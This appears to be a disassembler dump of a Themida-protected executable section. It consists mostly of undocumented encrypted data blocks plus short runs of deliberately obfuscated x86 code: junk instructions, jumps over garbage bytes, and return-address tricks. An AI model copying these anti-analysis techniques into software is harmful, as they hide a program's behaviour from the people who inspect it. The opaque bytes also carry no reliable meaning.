dd 613BD6BEh, 6052FC51h, 7E9h, 7E75A900h, 987818E5h, 14E8h
dd 64001200h, 505DB220h, 0ED7281E6h, 1A233587h, 0EF6586E9h
dd 615FF855h, 0E8h, 0EA815A00h, 619CD9Bh, 0C88BFCF9h, 5800Fh
dd 8A600000h, 0E861F9D3h, 0FFFFFE8Ah, 0DE9h, 23ECD400h
dd 6A898D83h
dd 0AE9BC8h, 0D23368E0h, 60F1F7FCh, 0FBC88166h, 557BA63h
dd 8B61007Fh, 1880FC2h, 0F8000000h, 0AE95Ah, 13250000h
dd 55F67260h, 1B98DCB9h, 0F506059h, 8Dh, 12E85B00h, 9B000000h
dd 7FC9000Dh, 493F8582h, 0AD9F86B3h, 0D57D95BAh, 58FEB18Fh
dd 0EE9C361h, 51000000h, 0CD5A8F0h, 0C137A2C5h, 43FF39F9h
dd 60C08B71h, 7E9h, 95A8B000h, 534581E3h, 0C08B61F9h, 0E8E0Fh
dd 9E90000h, 0DA000000h, 0FB360DAh, 0B173019h, 9200858Dh
dd 0FFF90619h, 8B66F9D0h, 0D48060C1h, 0DE95Bh, 9ED90000h
dd 0E2D7FB2Ch, 0A3E26888h, 6144890Fh, 0CC40858Dh, 6E90619h
dd 75000000h, 32577986h, 1D85894Ch, 0F061309h, 186h, 0CE9FC00h
dd 60000000h, 0C9B44806h, 3058EC7Bh, 8DCB375Ch, 19CD6A85h
dd 0F60FC06h, 28Bh, 66F18B00h, 7AA3C381h, 0C9858961h, 0F061301h
dd 882h, 28E0F00h, 60000000h, 0B8F561h, 0F5000000h, 840FC00Bh
dd 158h, 0E185C6F9h, 56061311h, 0EE9h, 8CAFF500h, 29A2D51h
dd 0E8CCBF04h, 681B6D09h, 0A9C530DFh, 0E9B5FFF5h, 6006131Eh
dd 5BFA8B53h, 33858D61h, 0E906167Ch, 0Fh, 66DB989Ch, 7CC6A624h
dd 0B57D8C0h, 0FF758D97h, 816060D0h, 3E212CEFh, 14E83Fh
dd 872A0000h, 926D7638h, 25D80ED5h, 0BAEF8438h, 22B716DFh
dd 615BFFF2h, 0F961C38Bh, 0DB816050h, 42CA5D98h, 2850Fh
dd 61600000h, 398D8D61h, 0F506131Ah, 6AFCF851h, 66536004h
dd 515FD38Bh, 615E5853h, 100068h, 0FE900h, 78350000h, 451458Fh
dd 0F3E692C4h, 9853C12h, 0B9B5FF80h, 0F06130Bh, 58Fh, 0B7F96000h
dd 0D0FF611Dh, 0E840Fh, 9E90000h, 3F000000h, 767C9CAEh
dd 0B63A1259h, 0BB9BD8Bh, 0F600613h, 18Bh, 0F53FC00h, 615FDEB7h
dd 603C7F03h, 0DE8h, 0F6C7C900h, 0E056D950h, 17C7606Eh
dd 11E97558h, 1E000000h, 0D6ED1B7Bh, 3AB5CA63h, 1951E01Fh
dd 0E842992h, 0D18B665Eh, 0F8C78161h, 60000000h, 0EE8h
dd 7F1A4100h, 3F0F2EDh, 739BDB9Bh, 8B44D163h, 0EE805ECFh
dd 47C761FDh, 2024h, 800FFC60h, 0Ch, 6850Fh, 850F0000h
dd 0
; ---------------------------------------------------------------------------
lea ebx, [ebp+6132A2Dh]
pusha
jb loc_5E931B
jmp loc_5E931B
; ---------------------------------------------------------------------------
dw 0BE02h
dd 0DE65BF33h
db 3Fh, 0E8h, 2
; ---------------------------------------------------------------------------
loc_5E931B: ; CODE XREF: Themida_:005E9307j
; Themida_:005E930Dj
jmp loc_5E9331
; ---------------------------------------------------------------------------
dd 4764756Fh, 1966663Dh, 37430549h, 10139558h
db 35h
; ---------------------------------------------------------------------------
loc_5E9331: ; CODE XREF: Themida_:loc_5E931Bj
popa
mov eax, [ebx]
jmp loc_5E9345
; ---------------------------------------------------------------------------
db 0F0h, 0CEh, 0DBh
dd 8139130Ch, 523E80C3h
db 21h
; ---------------------------------------------------------------------------
loc_5E9345: ; CODE XREF: Themida_:005E9334j
or eax, eax
jz loc_5E9388
jmp loc_5E9366
; ---------------------------------------------------------------------------
dw 103Ch
dd 4FFF5504h, 0BCF0854Dh, 0FEB9C752h, 0F847F917h
db 43h, 0B8h
; ---------------------------------------------------------------------------
loc_5E9366: ; CODE XREF: Themida_:005E934Dj
mov eax, [eax]
pusha
mov ch, bh
adc ebx, 3AF69F2Ch
popa
mov [ebx+4], eax
jmp loc_5E9388
; ---------------------------------------------------------------------------
dw 67FEh
dd 78CD3178h, 6C8C5C77h, 4CE23C9h
; ---------------------------------------------------------------------------
loc_5E9388: ; CODE XREF: Themida_:005E9347j
; Themida_:005E9375j
mov ecx, 234CF6h
lea ecx, [ebp+619D179h]
push 0
push ecx
call sub_5E939E
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5E939E proc near ; CODE XREF: Themida_:005E9396p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Dh
inc ecx
push ecx
retn
sub_5E939E endp
; ---------------------------------------------------------------------------
dw 8E9Fh
; ---------------------------------------------------------------------------
jo short sub_5E93CF
cmp eax, 398A3474h
stosb
mov ebx, [ebp+6131FBDh]
mov [ebp+6131BBDh], ecx
push 0
push ecx
call sub_5E93CF
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5E93CF proc near ; CODE XREF: Themida_:005E93B0j
; Themida_:005E93C7p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 15h
inc ecx
push ecx
retn
sub_5E93CF endp
; ---------------------------------------------------------------------------
db 4Eh
dd 0FE8CDh, 1D140000h, 1F2D54B9h, 0AA6880BDh, 96930519h
dd 0AD9D2911h, 5B061308h, 18DD85C7h, 5CFC0613h, 8B600000h
dd 1313A595h, 31853106h, 61061317h, 305585C7h, 613h, 0B58B0000h
dd 6131D01h, 31EDB5FFh, 0B5010613h, 6132C61h, 1D8995FFh
dd 852B0613h, 6133489h, 95FF006Ah, 6130DA9h, 0CEBC08Bh
dd 0ACD8CF46h, 1E2FCEBCh, 0E902B114h, 0D2758D8Dh, 6A0619h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
dd 0EF7550C3h, 0F9F6CE65h, 12E8EA90h, 1C000000h, 965903Ah
dd 9D24F3A0h, 576C929Ah, 0B62DB54Fh, 158531F7h, 58061301h
dd 10718D01h, 8D890613h, 6131BBDh, 2EB99D89h, 85C70613h
dd 61318DDh, 61B0h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Dh, 7EC35141h, 18E8754Bh, 1E1F7825h, 359D8B04h
dd 0C7061305h, 13305585h, 6, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0E6FDBA45h
dd 0E96E2B94h, 0Ch, 8AE9764Ch, 0FD6DC3DCh, 0A89FDB4Fh
dd 0ED19D8Bh, 0B5FF0613h, 6131A95h, 0FFD9BF0Fh, 131D8995h
dd 0C3B70F06h, 95FF006Ah, 6130DA9h, 49EBC08Bh, 22A8A756h
dd 0E30A9FADh, 0A3929B0Ch, 4B4D8DFFh, 36CF0412h, 0C7D40112h
dd 94E8F9Bh, 0E32D105Bh, 636C9E99h, 9F389618h, 405BD92Fh
dd 193340FFh, 65D84E5Ch, 0EF7E9FC1h, 8630A294h, 93E091CEh
dd 0AF091AC3h, 49636BD0h, 8E87Fh, 32B90000h, 85FB8A2Eh
dd 0CA8B895Eh, 0CE85Bh, 0C8140000h, 809F8395h, 218B42FAh
dd 0BD898B07h, 6132EC9h, 2C38159h, 8B00006Bh, 13204D8Dh
dd 6806h, 95290000h, 61305BDh, 0BABE665Fh, 3B048BA9h, 76E0EDBEh
dd 2DE88172h, 0B5592505h, 46F08189h, 92EB2E6h, 131269B5h
dd 0DAF08106h, 66717C91h, 489D08Bh, 3DBD893Bh, 0B061311h
dd 1319D18Dh, 3EF8306h, 0BA664FF5h, 0FF81CFA3h, 0FFFF9588h
dd 0FFB7850Fh, 9D09FFFFh, 6130A89h, 8E8h, 24CAF000h, 0E89898Ah
dd 0E85FF844h, 6, 0DFFBF431h, 9D297461h, 61325CDh, 35C7815Eh
dd 8B000060h, 1317898Dh, 0B9DB2B06h, 0ECD2748h, 663B34FFh
dd 0A9CFC181h, 81C28A5Ah, 2EDBEDC2h, 8D89564Ah, 6130B85h
dd 92F28159h, 293D6F72h, 132501BDh, 55F28106h, 0B865EDFAh
dd 0E0A4Bh, 0E91F1489h, 8, 5D8C5BE5h, 0DEF3D29Ah, 0C4DBD09h
dd 0EB830613h, 8112B104h, 0FFA088FBh, 1D850FFFh, 81000000h
dd 26B98AEEh, 30E91Eh, 0ED0C0000h, 0CE3219B1h, 8CFBF385h
dd 8B5298FDh, 6B7DBB91h, 4890Fh, 0B9660000h, 7DE968DBh
dd 67FFFFFFh, 8117F674h, 60C0B431h, 0BA797319h, 32E92BB9h
dd 68000000h
db 18h, 74h, 27h
byte_5E96EF db 0 ; DATA XREF: Themida_:00590774o
dd 0Bh dup(0)
dd 0AB4E900h, 16680000h, 0E90619D6h, 0FFFA7328h, 19D6C768h
dd 731EE906h, 0C768FFFAh, 0E90619D8h, 0FFFA7314h, 19D99368h
dd 730AE906h, 1668FFFAh, 0E90619DBh, 0FFFA7300h, 19DC9668h
dd 72F6E906h, 8468FFFAh, 0E90619DDh, 0FFFA72ECh, 0C8BAF515h
dd 146E419Ch, 0C11F8C60h, 10723DD1h, 0C0227D64h, 537E1E10h
dd 0C92E564Ch, 779400E2h, 0C2264E34h, 21E5F7E9h, 8D3C3FA9h
dd 0F5200D42h, 894A6177h, 0F4CEDDFBh, 72E641DBh, 6EDA7266h
dd 5E4494E8h, 2B7E0E2Ch, 0E13EA1F6h, 0E25A729Fh, 0FFBD7802h
dd 4D5E7919h, 0AD466A4h, 0E1696D41h, 0BD780277h, 85F50345h
dd 48CA0676h, 6A1Ch, 17FBE900h, 3F4B6077h, 4494E8D5h, 55F561A3h
dd 4494E8E3h, 5C91A7D9h, 0D2DD31C2h, 371FE921h, 0D4664597h
dd 0BD5D44C4h, 0F92B3EA1h, 3B5CC4B8h, 953CBD78h, 16BBC90Ah
dd 2D8D4889h, 0BF9F0224h, 52FADEB2h, 0BD783BE6h, 0F68694D6h
dd 48CA23C7h, 0EC8Bh, 0F7977B00h, 53C5C5DAh, 39BD7837h
dd 0F4C60BA4h, 0CBE0F870h, 77D8FBFDh, 0FB894A61h, 377493D6h
dd 38D84071h, 0A6EE0C9Fh, 1CA86942h, 0D991EFBCh, 4494E5A5h
dd 6CB445A3h, 0ED05C71Dh, 0CB3D2DE8h, 0C1BB6BBEh, 2B57497Fh
dd 1DCAF8CDh, 387DB870h, 0BBD74172h, 6B92D94Bh, 56DAFBBh
dd 3936C4E7h, 7C14042Fh, 86F29A5Fh, 76BB6B92h, 0B4647634h
dd 5EA43914h, 279FB3C1h, 0BD7884BDh, 43BF598Bh, 2F7926CBh
dd 47E27C51h, 2E5437CFh, 4E42C74Ch, 422A4ABEh, 32CA42B7h
dd 0AA432F79h, 0BCEECC05h, 722DD43Ch, 227D6410h, 0FF7401A9h
dd 66634C70h, 84Eh, 60426D8Dh, 0ECD6D934h, 59476478h, 0E8DAD529h
dd 584A557Ch, 0AB56F668h, 1E68EF4h, 0AF4C38AAh, 0FADE86FCh
dd 19FDCFB1h, 8D3E0771h, 0CDF8F542h, 5B455A77h, 0E8DAD127h
dd 0DD48D2BDh, 0BDEAD179h, 0A6D83EA1h, 3CE94F6Dh, 56F4BD78h
dd 24EE1D8Dh, 9AB448CAh, 61000000h, 0FA146177h, 0D6BEF3B5h
dd 0C84742Bh, 3320BAE5h, 94E5E599h, 0F0856344h, 0AC5E9318h
dd 0F810845Eh, 31CB43B3h, 7781397Ah, 70BBC55Ah, 250D0088h
dd 83EBC15Eh, 3C8E4368h, 0A1BB146Eh, 0E6FA9286h, 16C74CABh
dd 5EC64D4h, 953C289Ah, 0F7D3810Ah, 153E70FFh, 79D74h
dd 139C3E00h, 8728C5ADh, 18936919h, 8B24BAAAh, 1B846D15h
dd 8705F9A5h, 174B356Ah, 8DF5EBC0h, 2F633D6Eh, 0DEF0D2D9h
dd 3E26923Ah, 1916428Dh, 455A77ECh, 0DAD1275Bh, 7B9000E8h
dd 0B1478330h, 7A93FBA2h, 0BC3E7C35h, 0CF58058h, 289C5593h
dd 1E5DBD0h, 822F7091h, 0E882F696h, 487A4494h, 0ED777882h
dd 1C30665Ch, 0EA6277D4h, 4494EE7Eh, 1CCE1C4Eh, 0AC1C381Ch
dd 4494EE38h, 0C04CCE10h, 3EA1F3C5h, 544071B3h, 0D989F7B4h
dd 5567ACFFh, 44A239CEh, 5CB4BD1Dh, 21512F7Ch, 9D2FE4C7h
dd 36322726h, 0C646D2Dh, 0B1E1BFECh, 0BCE45457h, 0B66DA655h
dd 98A96E35h, 0F0DFBF63h, 2B2C13AFh, 0F456E4A4h, 0F35BEDE6h
dd 0C9229219h, 3FD931E2h, 603040CBh, 0EBF86697h, 4C367593h
dd 0D2CD349Ch, 0C34FE921h, 0BDB85025h, 0A5658E21h, 8E5CAE63h
dd 67DFF365h, 363248FDh, 6E7F99CBh, 0F9DD59D4h, 0D2B8459h
dd 746B67Dh, 7688084Ch, 0D6427839h, 773C236h, 7288BA28h
dd 0E868D012h, 0A05A9714h, 73A410B8h, 52942807h, 0FB855AC8h
dd 94CCC830h, 84AE8A24h, 0E0B8224Ah, 0E451E81Ch, 16B913AFh
dd 0BB432317h, 0FE22ED1Dh, 0A8AC5232h, 0D6D6C928h, 22EB1A62h
dd 2A74425Ah, 0D3C4D13Ah, 3D7F0315h, 8A339D9h, 0E8E9EFCBh
dd 0EB636DD4h, 9D27822h, 59676A99h, 35530D7h, 86E50000h
dd 0C16CF661h, 8C1FBD55h, 0E888FC8Ch, 3E804494h, 156CDCBCh
dd 873EA1FAh, 21B7F407h, 473F9FE1h, 3A7B5491h, 0E5C3DB03h
dd 3EF56CBDh, 48A9B3BCh, 4B6FBB0h, 524652C6h, 4A634EBAh
dd 32D63E3Ch, 48823879h, 64FB5AB2h, 0C7F9467Fh, 0E04BD50Ah
dd 8A445C78h, 4E572884h, 567B0F29h, 0D04C5439h, 0AAAEAA8Eh
dd 0D1D9D22Ah, 28205167h, 4D9F1355h, 0A038DC5Eh, 0BED950Bh
dd 6A6B2BA0h, 0F5DEE9DDh, 59DD4h, 139C3E00h, 8728C5ADh
dd 18936919h, 8B24BAAAh, 1B846D15h, 8705F9A5h, 174B356Ah
dd 8DF5EBC0h, 2F633D6Eh, 0DEF0D2D9h, 3026923Ah, 1916428Dh
dd 0DD48D2ECh, 19F55D79h, 0E8F064E4h, 96C84494h, 0CD6B9F54h
dd 0A1F55A3Dh, 0E50E503Eh, 619219EFh, 0C2BF8C52h, 8D896DB8h
dd 3970189h, 2365BD78h, 1F927515h, 5688C74Dh, 0FE647C6Ch
dd 0AC767445h, 0BC1C7882h, 408A25B9h, 0C4E70193h, 13E07E0Fh
dd 348E1DBBh, 0FF0D9928h, 241BD42h, 0D2960000h, 0D179DD48h
dd 3EACB446h, 8E06F234h, 1E463C63h, 2127ECB3h, 2D9D50B1h
dd 0BD72C4BBh, 58994F91h, 9BF498A2h, 8D1C20BCh, 30EC5A6Bh
dd 32868292h, 572DF378h, 0D7C0770Fh, 4D1E2h, 0BFF00A00h
dd 535CB1E1h, 0C4E7056Dh, 5758B6DEh, 0C7D8F969h, 0DB71E5D9h
dd 4B37A9F6h, 0F1A1FFACh, 432F911Ah, 429C06A5h, 315ACE3Eh
dd 3532428Dh, 0DD48D208h, 0B446D179h, 0BC343EACh, 995A901Bh
dd 4DECD2Bh, 7E337890h, 0F8B9F216h, 0A4FCC585h, 0A315B544h
dd 99BD72C4h, 3B3FA167h, 48C0DC8Ch, 19ED2h, 61778300h
dd 0DDFB894Ah, 0E838AC1Ch, 0CE104494h, 6CA506E6h, 59665C8Eh
dd 54F464CFh, 3EA1F6C1h, 8328C34Bh, 265E7C4Eh, 0E86074E4h
dd 0BD78027Ch, 0D3001A4Ch, 780243B9h, 0F0BB51BDh, 43B555C3h
dd 39BD7802h, 56738B07h, 337480E2h, 0CE03C500h, 429AA717h
dd 0DBC604ABh, 0C7F66673h, 1148CA68h, 64138505h, 0DEF9BD78h
dd 0DEE624CDh, 0D1179876h, 33C947h, 0D27A0000h, 5D79DD48h
dd 0DC5CD845h, 21B76AB1h, 0A104F2E9h, 658ED03Eh, 7965F167h
dd 854EECBDh, 0CB7DE615h, 0CAAC48h, 0B89C0000h, 7969A410h
dd 0C85294BDh, 4A61778Dh, 0D642CACEh, 0A64494E8h, 77DD664h
dd 88FCB5EAh, 92763B70h, 0DC6E502h, 11E72BADh, 50C0289Ah
dd 0A3E7F1BEh, 4494E5FBh, 1800AB4Dh, 0BAF0A0C8h, 0E0E430DAh
dd 0C84C786Ch, 0F41480B4h, 3AC0FAB7h, 7E9000E8h, 0B04A8031h
dd 8E8AA5BFh, 5F629CFEh, 10B89CC1h, 0BD7D96A4h, 0EAB51C94h
dd 0D117D129h, 9B04ED65h, 0B943D25h, 122FB47Eh, 55745F77h
dd 34Eh, 60426D8Dh, 0ECD6D934h, 59476478h, 0E8DAD529h
dd 584A557Ch, 0AB56F668h, 1E68EF4h, 0AF4C38AAh, 0FADE86FCh
dd 19FDCFB1h, 8D330771h, 0CDF8F542h, 0F3935A77h, 4494E881h
dd 31365F77h, 0BFFBB532h, 0B1E1BF09h, 476E5457h, 367593FBh
dd 57BB3D7Dh, 0DBE92A81h, 0FBD4AEFDh, 0BA52C661h, 3EA1E6F3h
dd 4A426FB1h, 0BD7813D0h, 535019B9h, 52FA5EC9h, 0C74D1D5Bh
dd 3DA91749h, 3B7833D5h, 775A797Fh, 0FB894A61h, 0DBF4CEDDh
dd 6672E641h, 4254843Eh, 49CF5BC5h, 0A12E76C1h, 147C983Eh
dd 4EBAB2EDh, 4EBD792Ah, 0F5D5FEADh, 8D8E556Dh, 535249C6h
dd 0BDFF8395h, 90007814h, 3D1DBD79h, 9435C434h, 395948CBh
dd 2A000000h, 79DD48D2h, 0A1BDEAD1h, 7E46C3Eh, 3CEE5AF2h
dd 0ACDEBD78h, 0C355B55Eh, 7B30C73Fh, 9008842Dh, 8DBD783Ch
dd 8534A4ADh, 4F48CA24h, 518229BFh, 0EA315F79h, 0E2000000h
dd 0CE4A6177h, 7C865A96h, 26B4E574h, 653A972Dh, 0EBC018ACh
dd 713A9E26h, 90B7E70Fh, 0DCFD280Ch, 69157583h, 0DF449479h
dd 5440A209h, 25BAF7B4h, 2C28101Bh, 9F7B73F4h, 0AD4BDE83h
dd 0A1BBDA5Dh, 8058D03Eh, 0EA03DD2Bh, 7561D550h, 8DABF4DDh
dd 4D736BFDh, 0F75FA1C7h, 0FE089AA7h, 98A2D58Ah, 0AEF11080h
dd 482DCA4Ah, 2B8F9B6h, 29AF0BC8h, 39668BF7h, 0FFC46C30h
dd 8D2C1770h, 1CEh, 0E0C2ED0Dh, 6C5659B4h, 0D9C7E4F8h
dd 685A55A9h, 0D8CAD5FCh, 2BD676E8h, 81660E74h, 2FCCB82Ah
dd 7A5E067Ch, 997D4F31h, 8D3487F1h, 4D787542h, 0FE0F5A77h
dd 701800B1h, 4494E804h, 0B2F8B2F4h, 4EBA5246h, 3E4494E8h
dd 0BE50D80Ch, 5AFF2A2Ah, 0D63262C0h, 17FBEBD5h, 9488056Fh
dd 0C5EA0344h, 0F4078BBDh, 3AC0FAB7h, 0DD48D21Bh, 0BDEAD179h
dd 0A6D83EA1h, 3CE94F6Dh, 56F4BD78h, 24EE1D8Dh, 0ACB448CAh
dd 61000000h, 894A6177h, 8C9D6FBh, 94E5CA74h, 2B9A3E44h
dd 58ADC8F3h, 0CCDFFC8Ah, 0B3F5B307h, 6843A5CDh, 59EA74ABh
dd 6BAEBFCEh, 6FE72104h, 5ED35CD7h, 0AA184AC1h, 38200B15h
dd 4B9EA590h, 54A727C7h, 0DA609A57h, 9E2BC22Ah, 0F7135EF3h
dd 0C809BFE2h, 0D040B8F2h, 60146E31h, 0B1AD1E81h, 8470FEBCh
dd 0E01E9Bh, 0DFFB0000h, 6B82F2D0h, 0D6365E44h, 6777EBD5h
dd 0C72A5A48h, 40B6EAD8h, 87A25CCh, 52307B5Ch, 0E2C922h
dd 49377494h, 89FB8B73h, 7F428D35h, 5A773B82h, 0D1275B45h
dd 0A16744A4h, 630A6DB5h, 85505F1Ah, 0FB862D73h, 7D55F3E3h
dd 87FF7D79h, 44945B1Dh, 0E9EFB9EBh, 0C8264FA9h, 0E4F021E7h
dd 0A439A704h, 0ABA78F9Ah, 3C35D473h, 3B37CA71h, 28E20F9Ch
dd 0C7237A12h, 9FE13EACh, 25866272h, 7A31C7BBh, 38E84339h
dd 4FEFDADEh, 0C726AE82h, 0A0515AB2h, 0FA9AA06Ah, 7FF3CDDEh
dd 87914269h, 1FB9F607h, 6AE21BF3h, 9CEC30FEh, 307EEA62h
dd 1C4E9CECh, 5F945688h, 0B8504454h, 9CEC304Ch, 30CC38D0h
dd 8ABC9CECh, 0AC32C8FAh, 0FAB1479Fh, 0AFFCDC88h, 88702h
dd 1910000h, 1A39BFE0h, 63775940h, 0DBFD874Ch, 5AB123D0h
dd 0D334A051h, 48A91BD8h, 0C72A9A57h, 55A91BD8h, 0D12B995Ah
dd 52AB19DAh, 5652B45Dh, 0C681E689h, 4, 8704EE83h, 248B2434h
dd 0F4B6824h, 0C890000h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebp
push edi
mov edi, 34087487h
mov ecx, 0D2116017h
sub ecx, 3D862BAFh
add ecx, edi
add ecx, 3D862BAFh
pop edi
push 479Eh
mov [esp], esp
add dword ptr [esp], 4
pop ebp
push eax
push ecx
pop eax
mov [ebp+8], eax
pop eax
push dword ptr [esp]
pop ebp
add esp, 4
mov ecx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_590A54
; ---------------------------------------------------------------------------
fiadd word ptr [edx]
mov al, ds:0A344E5F2h
mov [eax+619DE89h], edi
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 0C1h
dd 1D2D5373h, 0C47CD0C1h, 0D518FFB4h, 40278ED0h, 0A96999D8h
dd 4B37E250h, 5E5CCEDFh, 372B0B64h, 0D1CB0A4h, 0E463E273h
dd 968AEA4h, 11E1F6Ch, 0E11107B5h, 502EE77Dh, 5A28E66Ch
dd 3F1BFC73h, 0B44F6238h, 0A61FD922h, 1604C373h, 0F87D367Dh
dd 285B3343h, 5B6D5909h, 0E12728EAh, 0E8799C8Bh, 0Fh, 0ABE8EEh
dd 133577C7h, 0CC6673B0h, 80826B61h, 0E85F42D7h, 14h, 60B34321h
dd 947B51D2h, 175EABAEh, 9FA4159h, 2715B74Fh, 0D6816660h
dd 0E2BBED6Ch, 613E9382h, 28C78159h, 66000059h, 2B2A19B9h
dd 8BDF8BF6h, 0E1813704h, 257A432Eh, 8E9F081h, 0F38079A6h
dd 0F4C0816Ah, 0F2F22A0h, 685h, 8DD28100h, 817D04C0h, 26C653C0h
dd 12E938h, 0C3B70000h, 0B0850DDEh, 0A5CC6A15h, 0E9396BD6h
dd 0C25243Bh, 8A370489h, 81D981DCh, 830C0B05h, 8E0F03EEh
dd 4, 0FE9DB966h, 0EE94Eh, 817E0000h, 0BD605DAh, 0C74B524h
dd 0E7C6F35Ah, 0A7D8FE81h, 850FFFFFh, 18h, 48A0Fh, 0BA660000h
dd 35E996C0h, 45000000h, 21B31208h, 3D5A9E9Fh, 0FE9h, 0AB104900h
dd 0F9AE72C8h, 0D21F5C18h, 81BEE0C6h, 0FFFF56E9h, 0F2183FFFh
dd 4A50710Dh, 71531DF6h, 959EA0BEh, 0D1719CB9h, 21E9h
dd 91234400h, 38h, 6 dup(0)
dd 0B4E90000h, 66000004h, 7A607ED8h, 624866E8h, 7C5E7CCEh
dd 634565EBh, 6D607ED6h, 381CA9C2h, 2A28B89Ah, 3711A68Ch
dd 2C20B197h, 6B9AC58Eh, 16B794EFh, 0BDFD61B8h, 6D51E06Ch
dd 745674E0h, 664C6BE1h, 0F4737DD7h, 0EECD7FD2h, 76C396C9h
dd 4466AC7Ch, 8B0A5BF1h, 0EA0A241h, 345EF140h, 0F25AEB97h
dd 315BEDD5h, 9E2962BCh, 8BEA2B10h, 9A2D1341h, 952A10AEh
dd 9E2D5EF0h, 0A3B2D3B2h, 26FC7BA4h, 0C21C608h, 104292C4h
dd 68E10B41h, 0EC5D25BAh, 1E01147Dh, 2280E1h, 0C58BDCADh
dd 0AC265774h, 75109E73h, 41107110h, 9E7451B0h, 0CB40CA10h
dd 4155D3A1h, 3E8DB5A3h, 6853CA12h, 64000000h, 26D9DA3Bh
dd 636DCF61h, 0E06CBDF9h, 0B4A42051h, 0C619109Dh, 0A9BC73E1h
dd 9E84DA34h, 3D62A310h, 0E9F3E4E7h, 32022A9Fh, 9AA34196h
dd 1, 0E16DBDC0h, 0ACDC6E50h, 0D6D11547h, 0DC6D0C5Fh, 582169FAh
dd 466AA82Ch, 3EC743B2h, 0D90109Eh, 0C41E4F6Ch, 8D109E3Eh
dd 87D86908h, 72C46E0Bh, 89DCFEDCh, 0BD45E3C3h, 314D1E70h
dd 0A6B924C3h, 25476C7h, 86D9FD4Ch, 14F73C2h, 0A2CC0051h
dd 3CD63C29h, 0CBC613BFh, 17B7D67Eh, 6AE41936h, 9E109DCDh
dd 93F2430Dh, 557741C4h, 0D5F94804h, 5476C783h, 0D6F849FFh
dd 937BCA84h, 489184F5h, 411F4DBEh, 0E9A341F0h, 60h, 0E470BD4Dh
dd 6BDF7155h, 700989DAh, 0C2E173C2h, 0A83C4DE0h, 137293A2h
dd 0DBF9C342h, 5DEC68F5h, 0D766EA79h, 0E507840Eh, 0A341E807h
dd 46AFh, 0E0C29300h, 95B7014Fh, 193D0C48h, 0E070BFC6h
dd 3F8EB081h, 0B3024415h, 0D33F90A1h, 666C4F36h, 0C4901DD5h
dd 77E6C9E6h, 109DB51Bh, 0BD17A1E4h, 50E16DBDh, 9DB4A021h
dd 791910h, 41EA1CDCh, 1C4A3h, 0C29A0000h, 0B51670E5h
dd 0BEDF109Dh, 0F4902436h, 76F5091Bh, 96355455h, 0A12B21B4h
dd 9FAD0042h, 74EE1F40h, 3D109E30h, 7B5110D8h, 76CA7811h
dd 0AFBAF6D4h, 86CFF8D7h, 781D7AE2h, 0BB2A27B1h, 168F1AEAh
dd 0E7EB7A9Bh, 0F1D9F656h, 0F5E3ED61h, 0EDCA82D3h, 8DDC78C5h
dd 0D425C40Ch, 0A8B1978h, 63496EB1h, 9716A104h, 0F18A04CCh
dd 7E5CF041h, 0F243095Ch, 7ECF7DD0h, 0D181FA98h, 56EECC80h
dd 5AACAC86h, 5EF04268h, 1020F96h, 0A3330000h, 7AEBC8BEh
dd 168EBC37h, 0DFFC4DD0h, 464FC6F8h, 7D47DD9Bh, 64420A5Bh
dd 57E55C43h, 0A755702Fh, 71553414h, 0BBDA6BDFh, 0BE8E1F31h
dd 0E2A93921h, 419EFF51h, 8A7052CCh, 0F2FA1B0Ah, 4EFE4F73h
dd 53F74971h, 9634DA89h, 70DC6D25h, 513AFA52h, 38A25AADh
dd 35000000h, 0C594C00Dh, 7B1A2E81h, 0BCA3E771h, 0FA74E9C6h
dd 736F624Bh, 0FE4FFF4Fh, 7598559Fh, 0B53995E4h, 513B909Dh
dd 8BF7F0B8h, 4C3DB92Ch, 0C746EF62h, 72C8E7h, 0A3660000h
dd 7AEBC8BEh, 168EA18Fh, 0AC265778h, 750A8AA0h, 0DEE07110h
dd 84A1014Bh, 0F3420C9Eh, 0B5084A92h, 0BE123897h, 54A5448Ch
dd 0A8AA0F3h, 752D9E34h, 4E4A68E4h, 73547313h, 864EFE4Fh
dd 713F0807h, 0A1B0D510h, 307D0C9Dh, 0E0F44524h, 164B1DAEh
dd 0DC6F5370h, 17BCDD6Ch, 228F2E8Dh, 2734BC1Ah, 5847D9B6h
dd 0CCA1A60Ah, 0B1C63CB1h, 0FB557514h, 0EBC8BEA3h, 84549D7Ah
dd 1A2B6A16h, 7A7A538h, 4F820126h, 1943B592h, 202C7DCFh
dd 3E0E9F83h, 12C637B6h, 4B27FBCCh, 0B19B2E14h, 2D5761A0h
dd 3353E69Ch, 1ACEDF32h, 0F5D5B4F9h, 0B80782D3h, 0F5DAF998h
dd 83152BFFh, 0D6955F41h, 5CED63F4h, 0D564E67Ah, 722A64F1h
dd 4D339EB7h, 5B7FCEAFh, 81F1420Ah, 45C71D08h, 0A1ABFEB4h
dd 0BE8E1F01h, 0A5A93921h, 391CC1Bh, 2D000000h, 71BDE17Bh
dd 0DF7254E5h, 65FADC6Dh, 0E07052E3h, 52DFE372h, 0C20F3302h
dd 307FC392h, 9B2D1120h, 2ABC9EAFh, 56221524h, 0C681E689h
dd 4, 4BF57h, 0FE290000h, 2434875Fh, 7C6C685Ch, 14890000h
dd 10056824h, 34890000h, 43BF5724h, 47640716h, 2FD3EF81h
dd 0F7813475h, 11D8380Dh, 538BBA52h, 0D7314405h, 8E7C15Ah
dd 1657EF81h, 0FA894674h, 4EC815Fh, 89000000h, 4812424h
dd 424h, 0B8505E00h, 8, 1089F001h, 8324048Bh, 348B04C4h
dd 0E1895124h, 4C181h, 0C1830000h, 240C8704h, 2434FF5Ch
dd 4C4815Ah, 0E9000000h, 0FFF99C08h, 0B8AFC356h, 619E4C9h
dd 0E0FFC503h, 259E9D1h, 36A94A46h, 703D3D76h, 0FACE833h
dd 490F8577h, 6CB50F31h, 658BFED2h, 5533B7D8h, 3E1418D9h
